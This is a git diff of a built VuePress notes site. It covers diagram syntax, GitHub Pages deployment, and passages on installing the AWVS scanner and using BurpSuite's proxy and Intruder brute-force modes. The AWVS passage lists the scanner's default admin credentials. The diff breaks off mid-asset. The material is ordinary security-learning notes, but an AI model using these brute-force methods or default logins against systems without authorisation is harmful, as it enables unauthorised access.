+ subgraph three
+ c1-->c2
+ end
+
时序图 Sequence diagram (mermaid-js.github.io)open in new window
Mermaid之时序图语法_Feng乍起的博客-CSDN博客_时序图语法open in new window
sequenceDiagram
+participant C as Client.discard(9)
+participant S as Server.47660
+C ->> S: [SYN] 请求建立 TCP 连接
+S ->> C: [SYN ACK] 确认建立 TCP 连接
+C ->> S: [ACK] 确认收到确认建立 TCP 连接
+
+Note over C,S: ↑ 3 次握手
+
+loop 数据传输(不分片情况)
+C ->> S: [PSH ACK] 发送数据
+S ->> C: [ACK]确认接收数据
+end
+
+Note over C,S: ↓ 4 次挥手
+
+C ->> S: [FIN, ACK] 发起终止连接请求
+S ->> C: [ACK] 确认终止连接请求
+S ->> C: [FIN, ACK] 发起终止连接请求
+C ->> S: [ACK] 确认终止连接请求
+
上一页
Markdown
下一页
LaTeX
+
+
+
diff --git a/NoteTools/Notion.html b/NoteTools/Notion.html
new file mode 100644
index 0000000000..43472dc420
--- /dev/null
+++ b/NoteTools/Notion.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ Notion | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/NoteTools/PlantUML.html b/NoteTools/PlantUML.html
new file mode 100644
index 0000000000..58c9708393
--- /dev/null
+++ b/NoteTools/PlantUML.html
@@ -0,0 +1,53 @@
+
+
+
+
+
+
+
+ PlantUML | DailyNotes
+
+
+
+
+
+
+ 跳至主要內容 PlantUML 官方中文教程open in new window
Work Breakdown Structure (WBS) 工作分解结构open in new window
官方教程open in new window
WBS diagram are still in beta: the syntax may change without notice.
OrgMode syntax This syntax is compatible with OrgMode @startwbs
+* Business Process Modelling WBS
+** Launch the project
+*** Complete Stakeholder Research
+*** Initial Implementation Plan
+** Design phase
+*** Model of AsIs Processes Completed
+**** Model of AsIs Processes Completed1
+**** Model of AsIs Processes Completed2
+*** Measure AsIs performance metrics
+*** Identify Quick Wins
+** Complete innovate phase
+@endwbs
+
上一页
LaTeX
下一页
VitePress
+
+
+
diff --git a/NoteTools/Vitepress.html b/NoteTools/Vitepress.html
new file mode 100644
index 0000000000..16b05bb9f7
--- /dev/null
+++ b/NoteTools/Vitepress.html
@@ -0,0 +1,64 @@
+
+
+
+
+
+
+
+ VitePress | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/NoteTools/VuePress.html b/NoteTools/VuePress.html
new file mode 100644
index 0000000000..4285943c50
--- /dev/null
+++ b/NoteTools/VuePress.html
@@ -0,0 +1,130 @@
+
+
+
+
+
+
+
+ VuePress | DailyNotes
+
+
+
+
+
+
+ 跳至主要內容 VuePress pnpm,Github Actions, Github Pages 自动化部署文档 快速上手 | VuePress (vuejs.org)open in new window
使用 pnpmopen in new window 时,需要安装 vue
和 @vuepress/client
作为 peer-dependencies ,即
pnpm add -D vue @vuepress/client@next
+
然后将 VuePress 安装为本地依赖
pnpm install -D vuepress@next
+
在 package.json
中添加一些 scriptsopen in new window
{
+ "scripts" : {
+ "docs:dev" : "vuepress dev docs" ,
+ "docs:build" : "vuepress build docs"
+ }
+}
+
编辑 .gitignore
文件, 添加临时目录和缓存目录以及 dist
目录
node_modules
+.temp
+.cache
+docs/.vuepress/dist
+
在根目录下创建 docs
目录然后新建一个 README.md
文件并随便输入些文字
可以先在本地尝试运行和打包下
pnpm run docs:dev
+pnpm run dos:build
+
在 docs/.vuepress
目录下创建 config.js
配置 | VuePress (vuejs.org)open in new window
module. exports = {
+
+ title : "VuePressTest" ,
+
+ description : "This is a blog." ,
+
+ base : '/VuePressTest/' ,
+}
+
需要注意的是, 这里的 base 务必配置好, 否则之后部署完后可能会出现引入资源找不到的情况
因为默认 base 是 /
, 所以如果将站点部署到具体到仓库的子路径的话, 构建的 html 文档中的资源引入链接仍然指向了根目录, 就会 404
React/Vue 项目在 GitHub Pages 上部署时资源的路径问题_mob60475707634e的技术博客_51CTO博客open in new window
部署 | VuePress (vuejs.org)open in new window
在根目录下新建 .github/workflows/docs.yml
' name : Deploy Docs
+
+on :
+ push :
+ branches :
+
+ - main
+
+jobs :
+ deploy-gh-pages :
+ runs-on : ubuntu- latest
+ steps :
+ - name : Checkout
+ uses : actions/checkout@v3
+ with :
+ fetch-depth : 0
+
+
+
+ - name : Setup Node.js environment
+ uses : actions/setup- node@v3.5.1
+ with :
+
+ node-version : '18'
+
+ - name : Setup pnpm
+ uses : pnpm/action- setup@v2.2.4
+ with :
+ version : 6.0.2
+
+
+ - name : Install Deps
+ run : pnpm install
+
+ - name : Build Docs
+ env :
+ NODE_OPTIONS : - - max_old_space_size=8192
+
+
+
+
+
+ run : | -
+ pnpm run docs: build
+ echo > docs/.vuepress/dist/.nojekyll
+
+
+
+
+ - name : GitHub Pages
+ uses : crazy- max/ghaction- github- pages@v3.1.0
+ with :
+
+ target_branch : gh- pages
+
+ build_dir : docs/.vuepress/dist
+ env :
+
+ GITHUB_TOKEN : ${ { secrets.GITHUB_TOKEN } }
+
提交并推送你的修改, 然后可以在 Github 仓库的 Actions 中查看下运行状态
打开仓库的 Settings->Pages
将 BUild and deployment->source
修改为 Deploy from a branch
(默认值就是这个), 然后选择 gh-pages->/root
并 Save
然后就可以在 Actions
界面看到多了一个 Action
仓库主页右下角也会多一个 Environment, 在上一步的 Actions 中可以看到部署链接, 亦可以在此处看到部署链接
配合 vuepress_theme_hope 食用 主页 | vuepress-theme-hope (vuejs.press)open in new window
直接看官方文档即可, 下面部分的笔记仅适用于个人更新依赖的时候瞄一眼需要更新的模块
+pnpm create vuepress-theme-hope@next [ dir]
+
+
+pnpm install -D vuepress-theme-hope@next
+
这里的 [dir]
是一个参数,你需要使用真实的文件夹名称替换它,例如 docs
、src
或其他你喜欢的名称。
搜索 搜索 | vuepress-theme-hope (vuejs.press)open in new window
pnpm add -D vuepress-plugin-search-pro@next
+
sitemap 主页 | Sitemap 生成器 (vuejs.press)open in new window
选项 | Sitemap 生成器 (vuejs.press)open in new window
pnpm add -D vuepress-plugin-sitemap2
+
PS: 抄配置时需要配下 hostname 这个必填项, 填入域名即可
SEO 主页 | SEO 增强 (vuejs.press)open in new window
选项 | SEO 增强 (vuejs.press)open in new window
pnpm add -D vuepress-plugin-seo2
+
PS: 抄配置时需要配下 hostname 这个必填项, 填入域名即可
报错收集 Vuepress Error: ENOSPC: System limit for number of file watchers reach
Error: ENOSPC: System limit for number of file watchers reached - Get Help - Vue Forum (vuejs.org)open in new window
echo fs.inotify.max_user_watches = 524288 | sudo tee -a /etc/sysctl.conf && sudo sysctl -p
+
下一页
Markdown
+
+
+
diff --git a/NoteTools/Word.html b/NoteTools/Word.html
new file mode 100644
index 0000000000..1be1ffe546
--- /dev/null
+++ b/NoteTools/Word.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ 论文 | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/NoteTools/index.html b/NoteTools/index.html
new file mode 100644
index 0000000000..4b9081f165
--- /dev/null
+++ b/NoteTools/index.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ Note Tools | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/assets/404.html-39ea24ea.js b/assets/404.html-39ea24ea.js
new file mode 100644
index 0000000000..d4847f0aaa
--- /dev/null
+++ b/assets/404.html-39ea24ea.js
@@ -0,0 +1 @@
+import{_ as e}from"./plugin-vue_export-helper-c27b6911.js";import{o as t,c}from"./app-880c6425.js";const o={};function r(_,n){return t(),c("div")}const f=e(o,[["render",r],["__file","404.html.vue"]]);export{f as default};
diff --git a/assets/404.html-f04ced3e.js b/assets/404.html-f04ced3e.js
new file mode 100644
index 0000000000..33005046b6
--- /dev/null
+++ b/assets/404.html-f04ced3e.js
@@ -0,0 +1 @@
+const t=JSON.parse('{"key":"v-3706649a","path":"/404.html","title":"","lang":"zh-CN","frontmatter":{"layout":"NotFound"},"headers":[],"git":{},"readingTime":{"minutes":0,"words":0},"filePathRelative":null,"excerpt":""}');export{t as data};
diff --git a/assets/AWVS.html-1ed23a7e.js b/assets/AWVS.html-1ed23a7e.js
new file mode 100644
index 0000000000..8a13010fde
--- /dev/null
+++ b/assets/AWVS.html-1ed23a7e.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-50c49b28","path":"/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/%E6%BC%8F%E6%89%AB%E5%B7%A5%E5%85%B7/AWVS.html","title":"AWVS","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"安装","slug":"安装","link":"#安装","children":[{"level":3,"title":"docker 安装 AWVS","slug":"docker-安装-awvs","link":"#docker-安装-awvs","children":[]}]}],"git":{"createdTime":1677399956000,"updatedTime":1677399956000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":0.82,"words":247},"filePathRelative":"网络安全/信息收集/漏扫工具/AWVS.md","localizedDate":"2023年2月26日","excerpt":""}');export{e as data};
diff --git a/assets/AWVS.html-36b6075b.js b/assets/AWVS.html-36b6075b.js
new file mode 100644
index 0000000000..e7c0f9ffac
--- /dev/null
+++ b/assets/AWVS.html-36b6075b.js
@@ -0,0 +1,12 @@
+import{_ as t}from"./plugin-vue_export-helper-c27b6911.js";import{r as c,o,c as l,b as e,e as a,d as s,f as r}from"./app-880c6425.js";const i={},d=r(' AWVS 安装 docker 安装 AWVS ',5),p={href:"https://github.com/XRSec/AWVS14-Update",target:"_blank",rel:"noopener noreferrer"},m={href:"https://www.cnblogs.com/ctfisnull/p/15059461.html",target:"_blank",rel:"noopener noreferrer"},h={href:"https://www.cnblogs.com/hxlinux/p/14749230.html",target:"_blank",rel:"noopener noreferrer"},u=e("hr",null,null,-1),b=r(`Acunetix Web Vulnerability Scanner(简称AWVS)是一款知名的网络漏洞扫描工具,它通过网络爬虫测试你的网站安全,检测流行安全漏洞。
AWVS是一款Web漏洞扫描工具,通过网络爬虫测试网站安全,检测流行的Web应用攻击,如跨站脚本、sql 注入等。据统计,75% 的互联网攻击目标是基于Web的应用程序。
+docker search awvs
+
+docker pull secfa/awvs
+
+docker run -it -d --name awvs -p 3443 :3443 --restart = always secfa/awvs:latest
+
+
+URL: https://[ ip] :3443/
+UserName: admin@admin.com
+PassWord: Admin123
+
`,4);function v(k,_){const n=c("ExternalLinkIcon");return o(),l("div",null,[d,e("blockquote",null,[e("p",null,[e("a",p,[a("XRSec/AWVS14-Update: Awvs 14 Scanner、fahai (github.com) - 镜像 by xrsec"),s(n)])]),e("p",null,[e("a",m,[a("Docker安装AWVS AWVS批量扫描 AWVS+XRAY批量扫描 - admax11 - 博客园 (cnblogs.com) - 镜像 by secfa"),s(n)])]),e("p",null,[e("a",h,[a("Docker安装AWVS和Nessus - 徐也 - 博客园 (cnblogs.com)-镜像 by 雷石安全"),s(n)])]),u]),b])}const x=t(i,[["render",v],["__file","AWVS.html.vue"]]);export{x as default};
diff --git a/assets/BurpSuite.html-9f16eba5.js b/assets/BurpSuite.html-9f16eba5.js
new file mode 100644
index 0000000000..1a0e81f66c
--- /dev/null
+++ b/assets/BurpSuite.html-9f16eba5.js
@@ -0,0 +1 @@
+import{_ as p}from"./plugin-vue_export-helper-c27b6911.js";import{r as a,o as l,c as d,b as e,e as r,d as t,f as o}from"./app-880c6425.js";const n={},c=e("h1",{id:"burpsuit",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#burpsuit","aria-hidden":"true"},"#"),r(" BurpSuit")],-1),u={href:"https://portswigger.net/burp",target:"_blank",rel:"noopener noreferrer"},h=e("hr",null,null,-1),s={href:"https://t0data.gitbooks.io/burpsuite/content/",target:"_blank",rel:"noopener noreferrer"},m=e("hr",null,null,-1),g=e("h2",{id:"burpsuit-安装与环境配置",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#burpsuit-安装与环境配置","aria-hidden":"true"},"#"),r(" BurpSuit 安装与环境配置")],-1),b={href:"https://t0data.gitbooks.io/burpsuite/content/chapter1.html",target:"_blank",rel:"noopener noreferrer"},y=e("hr",null,null,-1),_=e("p",null,"BurpSuite是一个集成化的渗透测试工具,它集合了多种渗透测试组件,使我们自动化地或手工地能更好的完成对web应用的渗透测试和攻击。在渗透测试中,我们使用Burp Suite将使得测试工作变得更加容易和方便,即使在不需要娴熟的技巧的情况下,只有我们熟悉Burp Suite的使用,也使得渗透测试工作变得轻松和高效。",-1),f=e("p",null,"Burp Suite是由Java语言编写而成,而Java自身的跨平台性,使得软件的学习和使用更加方便。Burp Suite不像其他的自动化测试工具,它需要你手工的去配置一些参数,触发一些自动化流程,然后它才会开始工作。",-1),x={href:"https://portswigger.net/burp/downloadfree.html",target:"_blank",rel:"noopener noreferrer"},B=o('Burp Scanner 工作空间的保存和恢复 拓展工具,如 Target Analyzer
, Content Discovery
和 Task Scheduler
Proxy Proxy 模块可以通过与浏览器代理配置相同的本地端口来截取浏览器请求
在 Proxy -> Options
中编辑代理配置, 比如代理本地的 8080 端口:
在 Firefox 中也将代理配置为此项:
这样配置完后, 在 Firefox 中的请求会被 BurpSuit 截获, 可在 BurpSuit 中进行相关操作
proxy 使用指南 ',11),S={href:"https://t0data.gitbooks.io/burpsuite/content/chapter3.html",target:"_blank",rel:"noopener noreferrer"},k=e("hr",null,null,-1),P=o('Burp Proxy 是Burp Suite以用户驱动测试流程功能的核心,通过代理模式,可以让我们拦截、查看、修改所有在客户端和服务端之间传输的数据。
Burp Proxy基本使用 一般使用Burp Proxy时,大体涉及环节如下:
首先,确认JRE已经安装好,Burp Suite可以启动并正常运行,且已经完成浏览器的代理服务器配置。
点击 Proxy 中的 Intercept(拦截) 选项卡中的 intercept is off
按钮将其切换为 intercept is on
开始拦截数据
在浏览器中访问数据, 比如访问 baidu.com , 这时你将会看到数据流量经过Burp Proxy并暂停
直到你点击 Forward
,才会继续传输下去。 如果你点击了 Drop
,则这次通过的数据将会被丢失,不再继续处理。 在当前的 intercept
界面有两个视图
Raw: 该视图主要显示web请求的raw格式,包含
请求地址
http 协议版本
主机头
浏览器信息
、Accept可接受的内容类型
、字符集
、编码方式
、cookie
等。你可以通过手工修改这些信息,对服务器端进行渗透测试。
Hex: 这个视图显示Raw的二进制内容,你可以通过hex编辑器对请求的内容进行修改。
Forward
之后可以在浏览器中或者是 HTTP history
中查看本次请求的响应内容
默认情况下,Burp Proxy只拦截请求的消息,普通文件请求如 css
、js
、图片是不会被拦截的,你可以修改默认的拦截选项来拦截这些静态文件,当然,你也可以通过修改拦截的作用域、参数或者服务器端返回的关键字来控制Burp Proxy的消息拦截,
所有流经Burp Proxy的消息,都会在 http history
记录下来,我们可以通过历史选项卡,查看传输的数据内容,对交互的数据进行测试和验证。
同时,对于拦截到的消息和历史消息,都可以通过右击弹出菜单,发送到Burp的其他组件,如Spider、Scanner、Repeater、Intruder、Sequencer、Decoder、Comparer、Extender,进行进一步的测试。
或者点此按钮
数据拦截与控制 Burp Proxy 的拦截功能主要由 Intercept 选项卡中的 Forward、Drop、Interception is on/off、Action、Comment 以及Highlight构成,
Forward
的功能是当你查看过消息或者重新编辑过消息之后,点击此按钮,将发送消息至服务器端。
Drop
的功能是你想丢失当前拦截的消息,不再 forward 到服务器端。
Interception is on
表示拦截功能打开,拦截所有通过Burp Proxy的请求数据;
nterception is off
表示拦截功能关闭,不再拦截通过Burp Proxy的所有请求数据。
Action
的功能是除了将当前请求的消息传递到 Spider、Scanner、Repeater、Intruder、Sequencer、Decoder、Comparer组件外,还可以做一些请求消息的修改,如
改变GET或者POST请求方式 改变请求body的编码 同时也可以改变请求消息的拦截设置,如 不再拦截此主机的消息 不再拦截此IP地址的消息 不再拦截此种文件类型的消息 不再拦截此目录的消息 也可以指定针对此消息拦截它的服务器端返回消息。
Comment
可以对拦截的消息添加备注,在一次渗透测试中,你通常会遇到一连串的请求消息,为了便于区分,在某个关键的请求消息上,你可以添加备注信息。
Highlight
的功能与Comment功能有点类似,即对当前拦截的消息设置高亮,以便于其他的请求消息相区分。
可选项配置Options
从界面显示来看,主要包括以下几大板块
客户端请求消息拦截 服务器端返回消息拦截 服务器返回消息修改 正则表达式配置 其他配置项 历史记录-History Burp Proxy的历史记录由HTTP历史和 WebSockets 历史两个部分组成。
WebSockets历史所提供的功能和选项是HTTP历史的一个子集,只是因为采用的通信方式的不同,而被独立出来成为一个专门的视图。其功能的使用方式与HTTP历史大致相同 HTTP历史界面由筛选过滤器、历史记录列表、消息详情3个部分组成。
当我们在某一条历史记录上单击,会在下方的消息详解块显示此条消息的文本详细信息。当我们在某条消息上双击,则会弹出此条消息的详细对话框。
Intruder ',23),w={href:"https://t0data.gitbooks.io/burpsuite/content/chapter8.html",target:"_blank",rel:"noopener noreferrer"},T=e("hr",null,null,-1),I=o('Intruder 是 Burp Suite中一款功能极其强大的自动化测试工具,通常被使用在各种任务测试的场景中。
Intruder 模块通过对 http request 的数据包以变量的方式自定义参数, 然后根据对应策略进行自动化的重放, 常用于自动化猜测/暴力破解的过程中
target 选项卡
设置攻击目标, 可以通过 Proxy 发送
Position 选项卡
指定需要暴力破解的参数并设置成变量, 同时选择攻击模式
Sniper
设置一个 payload, 先将第一个变量使用字典进行测试, 然后再将第二个变量使用字典进行测试
Battering ram
设置一个 payload, 所有的变量一起用字典内容替换(为同一内容), 然后一起尝试
Ptichfork
每个变量设置一个 payload, 分别使用对应的字典对变量进行同时替换
也即两个字典同时跑, 不会做交叉组合, 而是二者按照序号一一对应跑
Cluster bomb
需要为每个变量设置一个 payload, 分别使用字典内容组合对变量进行替换
常用于暴力破解
Payloads 选项卡
设置字典, 并可以对字典进行统一的策略处理
options选项卡
对扫描的线程, 失败重试等进行配置
对结果设置匹配的 flag: 通过一个标识符来区别结果, 并在结果栏中 flag 出来
Intruder使用场景和操作步骤 Payload类型与处理 Payload 位置和攻击类型 可选项设置(Options) Intruder 攻击和结果分析 Repeater Repeater 是 Burp Suite 中一款手工验证 HTTP 消息的测试工具,通常用于多次重放请求响应和手工修改请求消息的修改后对服务器端响应的消息分析。
Repeater的使用 可选项设置(Options) ',21);function q(H,C){const i=a("ExternalLinkIcon");return l(),d("div",null,[c,e("blockquote",null,[e("p",null,[e("a",u,[r("Burp Suite - Application Security Testing Software - PortSwigger"),t(i)])]),h,e("p",null,[e("a",s,[r("引子 · burpsuite实战指南 (gitbooks.io)"),t(i)])])]),m,g,e("blockquote",null,[e("p",null,[e("a",b,[r("第一章 Burp Suite 安装和环境配置 · burpsuite实战指南 (gitbooks.io)"),t(i)])]),y]),_,f,e("p",null,[r("BurpSuite可执行程序是java文件类型的jar文件,免费版的可以从"),e("a",x,[r("免费版下载地址"),t(i)]),r("进行下载。免费版的Burp Suite会有许多限制,很多的高级工具无法使用,如果您想使用更多的高级功能,需要付费购买专业版。专业版与免费版的主要区别有")]),B,e("blockquote",null,[e("p",null,[e("a",S,[r("第三章 如何使用Burp Suite代理 · burpsuite实战指南 (gitbooks.io)"),t(i)])]),k]),P,e("blockquote",null,[e("p",null,[e("a",w,[r("第八章 如何使用Burp Intruder · burpsuite实战指南 (gitbooks.io)"),t(i)])]),T]),I])}const D=p(n,[["render",q],["__file","BurpSuite.html.vue"]]);export{D as default};
diff --git a/assets/BurpSuite.html-aaf11df6.js b/assets/BurpSuite.html-aaf11df6.js
new file mode 100644
index 0000000000..67885b2110
--- /dev/null
+++ b/assets/BurpSuite.html-aaf11df6.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-356d0412","path":"/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/Web%E5%AE%89%E5%85%A8/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%B7%A5%E5%85%B7/BurpSuite.html","title":"BurpSuit","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"BurpSuit 安装与环境配置","slug":"burpsuit-安装与环境配置","link":"#burpsuit-安装与环境配置","children":[]},{"level":2,"title":"Proxy","slug":"proxy","link":"#proxy","children":[{"level":3,"title":"proxy 使用指南","slug":"proxy-使用指南","link":"#proxy-使用指南","children":[]}]},{"level":2,"title":"Intruder","slug":"intruder","link":"#intruder","children":[{"level":3,"title":"Intruder使用场景和操作步骤","slug":"intruder使用场景和操作步骤","link":"#intruder使用场景和操作步骤","children":[]},{"level":3,"title":"Payload类型与处理","slug":"payload类型与处理","link":"#payload类型与处理","children":[]},{"level":3,"title":"Payload 位置和攻击类型","slug":"payload-位置和攻击类型","link":"#payload-位置和攻击类型","children":[]},{"level":3,"title":"可选项设置(Options)","slug":"可选项设置-options","link":"#可选项设置-options","children":[]},{"level":3,"title":"Intruder 攻击和结果分析","slug":"intruder-攻击和结果分析","link":"#intruder-攻击和结果分析","children":[]}]},{"level":2,"title":"Repeater","slug":"repeater","link":"#repeater","children":[{"level":3,"title":"Repeater的使用","slug":"repeater的使用","link":"#repeater的使用","children":[]},{"level":3,"title":"可选项设置(Options)","slug":"可选项设置-options-1","link":"#可选项设置-options-1","children":[]}]}],"git":{"createdTime":1668260298000,"updatedTime":1668260298000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":7.48,"words":2245},"filePathRelative":"网络安全/Web安全/渗透测试工具/BurpSuite.md","localizedDate":"2022年11月12日","excerpt":""}');export{e as data};
diff --git a/assets/C.html-2e1f65f3.js b/assets/C.html-2e1f65f3.js
new file mode 100644
index 0000000000..efbd0ea6d4
--- /dev/null
+++ b/assets/C.html-2e1f65f3.js
@@ -0,0 +1,76 @@
+import{_ as i}from"./plugin-vue_export-helper-c27b6911.js";import{r as l,o as r,c,b as s,e,d as n,f as t}from"./app-880c6425.js";const o={},m=s("h1",{id:"c",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#c","aria-hidden":"true"},"#"),e(" C")],-1),d={id:"_2021-12-20-armstrong-numbers",tabindex:"-1"},p=s("a",{class:"header-anchor",href:"#_2021-12-20-armstrong-numbers","aria-hidden":"true"},"#",-1),h={href:"https://exercism.org/tracks/c/exercises/armstrong-numbers",target:"_blank",rel:"noopener noreferrer"},u=s("h3",{id:"instruction",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#instruction","aria-hidden":"true"},"#"),e(" Instruction")],-1),g={href:"https://en.wikipedia.org/wiki/Narcissistic_number",target:"_blank",rel:"noopener noreferrer"},v=s("p",null,"An Armstrong number is a number that is the sum of its own digits each raised to the power of the number of digits.",-1),b=s("p",null,"Armstrong number 的每一位数字的 n 次方和等于它本身(n 为该数的位数)。",-1),_=s("p",null,"For example:",-1),f=s("p",null,[e("9 is an Armstrong number, because "),s("span",{class:"katex"},[s("span",{class:"katex-mathml"},[s("math",{xmlns:"http://www.w3.org/1998/Math/MathML"},[s("semantics",null,[s("mrow",null,[s("mn",null,"9"),s("mo",null,"="),s("msup",null,[s("mn",null,"9"),s("mn",null,"1")]),s("mo",null,"="),s("mn",null,"9")]),s("annotation",{encoding:"application/x-tex"},"9 = 9^1 = 9")])])]),s("span",{class:"katex-html","aria-hidden":"true"},[s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.6444em"}}),s("span",{class:"mord"},"9"),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),s("span",{class:"mrel"},"="),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.8141em"}}),s("span",{class:"mord"},[s("span",{class:"mord"},"9"),s("span",{class:"msupsub"},[s("span",{class:"vlist-t"},[s("span",{class:"vlist-r"},[s("span",{class:"vlist",style:{height:"0.8141em"}},[s("span",{style:{top:"-3.063em","margin-right":"0.05em"}},[s("span",{class:"pstrut",style:{height:"2.7em"}}),s("span",{class:"sizing reset-size6 size3 mtight"},[s("span",{class:"mord mtight"},"1")])])])])])])]),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),s("span",{class:"mrel"},"="),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.6444em"}}),s("span",{class:"mord"},"9")])])]),s("br"),e(" 10 is not an Armstrong number, because "),s("span",{class:"katex"},[s("span",{class:"katex-mathml"},[s("math",{xmlns:"http://www.w3.org/1998/Math/MathML"},[s("semantics",null,[s("mrow",null,[s("mn",null,"10"),s("mo",{stretchy:"false"},"!"),s("mo",null,"="),s("msup",null,[s("mn",null,"1"),s("mn",null,"2")]),s("mo",null,"+"),s("msup",null,[s("mn",null,"0"),s("mn",null,"2")]),s("mo",null,"="),s("mn",null,"1")]),s("annotation",{encoding:"application/x-tex"},"10 != 1^2 + 0^2 = 1")])])]),s("span",{class:"katex-html","aria-hidden":"true"},[s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.6944em"}}),s("span",{class:"mord"},"10"),s("span",{class:"mclose"},"!"),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),s("span",{class:"mrel"},"="),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.8974em","vertical-align":"-0.0833em"}}),s("span",{class:"mord"},[s("span",{class:"mord"},"1"),s("span",{class:"msupsub"},[s("span",{class:"vlist-t"},[s("span",{class:"vlist-r"},[s("span",{class:"vlist",style:{height:"0.8141em"}},[s("span",{style:{top:"-3.063em","margin-right":"0.05em"}},[s("span",{class:"pstrut",style:{height:"2.7em"}}),s("span",{class:"sizing reset-size6 size3 mtight"},[s("span",{class:"mord mtight"},"2")])])])])])])]),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),s("span",{class:"mbin"},"+"),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.8141em"}}),s("span",{class:"mord"},[s("span",{class:"mord"},"0"),s("span",{class:"msupsub"},[s("span",{class:"vlist-t"},[s("span",{class:"vlist-r"},[s("span",{class:"vlist",style:{height:"0.8141em"}},[s("span",{style:{top:"-3.063em","margin-right":"0.05em"}},[s("span",{class:"pstrut",style:{height:"2.7em"}}),s("span",{class:"sizing reset-size6 size3 mtight"},[s("span",{class:"mord mtight"},"2")])])])])])])]),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),s("span",{class:"mrel"},"="),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.6444em"}}),s("span",{class:"mord"},"1")])])]),s("br"),e(" 153 is an Armstrong number, because: "),s("span",{class:"katex"},[s("span",{class:"katex-mathml"},[s("math",{xmlns:"http://www.w3.org/1998/Math/MathML"},[s("semantics",null,[s("mrow",null,[s("mn",null,"153"),s("mo",null,"="),s("msup",null,[s("mn",null,"1"),s("mn",null,"3")]),s("mo",null,"+"),s("msup",null,[s("mn",null,"5"),s("mn",null,"3")]),s("mo",null,"+"),s("msup",null,[s("mn",null,"3"),s("mn",null,"3")]),s("mo",null,"="),s("mn",null,"1"),s("mo",null,"+"),s("mn",null,"125"),s("mo",null,"+"),s("mn",null,"27"),s("mo",null,"="),s("mn",null,"153")]),s("annotation",{encoding:"application/x-tex"},"153 = 1^3 + 5^3 + 3^3 = 1 + 125 + 27 = 153")])])]),s("span",{class:"katex-html","aria-hidden":"true"},[s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.6444em"}}),s("span",{class:"mord"},"153"),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),s("span",{class:"mrel"},"="),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.8974em","vertical-align":"-0.0833em"}}),s("span",{class:"mord"},[s("span",{class:"mord"},"1"),s("span",{class:"msupsub"},[s("span",{class:"vlist-t"},[s("span",{class:"vlist-r"},[s("span",{class:"vlist",style:{height:"0.8141em"}},[s("span",{style:{top:"-3.063em","margin-right":"0.05em"}},[s("span",{class:"pstrut",style:{height:"2.7em"}}),s("span",{class:"sizing reset-size6 size3 mtight"},[s("span",{class:"mord mtight"},"3")])])])])])])]),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),s("span",{class:"mbin"},"+"),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.8974em","vertical-align":"-0.0833em"}}),s("span",{class:"mord"},[s("span",{class:"mord"},"5"),s("span",{class:"msupsub"},[s("span",{class:"vlist-t"},[s("span",{class:"vlist-r"},[s("span",{class:"vlist",style:{height:"0.8141em"}},[s("span",{style:{top:"-3.063em","margin-right":"0.05em"}},[s("span",{class:"pstrut",style:{height:"2.7em"}}),s("span",{class:"sizing reset-size6 size3 mtight"},[s("span",{class:"mord mtight"},"3")])])])])])])]),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),s("span",{class:"mbin"},"+"),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.8141em"}}),s("span",{class:"mord"},[s("span",{class:"mord"},"3"),s("span",{class:"msupsub"},[s("span",{class:"vlist-t"},[s("span",{class:"vlist-r"},[s("span",{class:"vlist",style:{height:"0.8141em"}},[s("span",{style:{top:"-3.063em","margin-right":"0.05em"}},[s("span",{class:"pstrut",style:{height:"2.7em"}}),s("span",{class:"sizing reset-size6 size3 mtight"},[s("span",{class:"mord 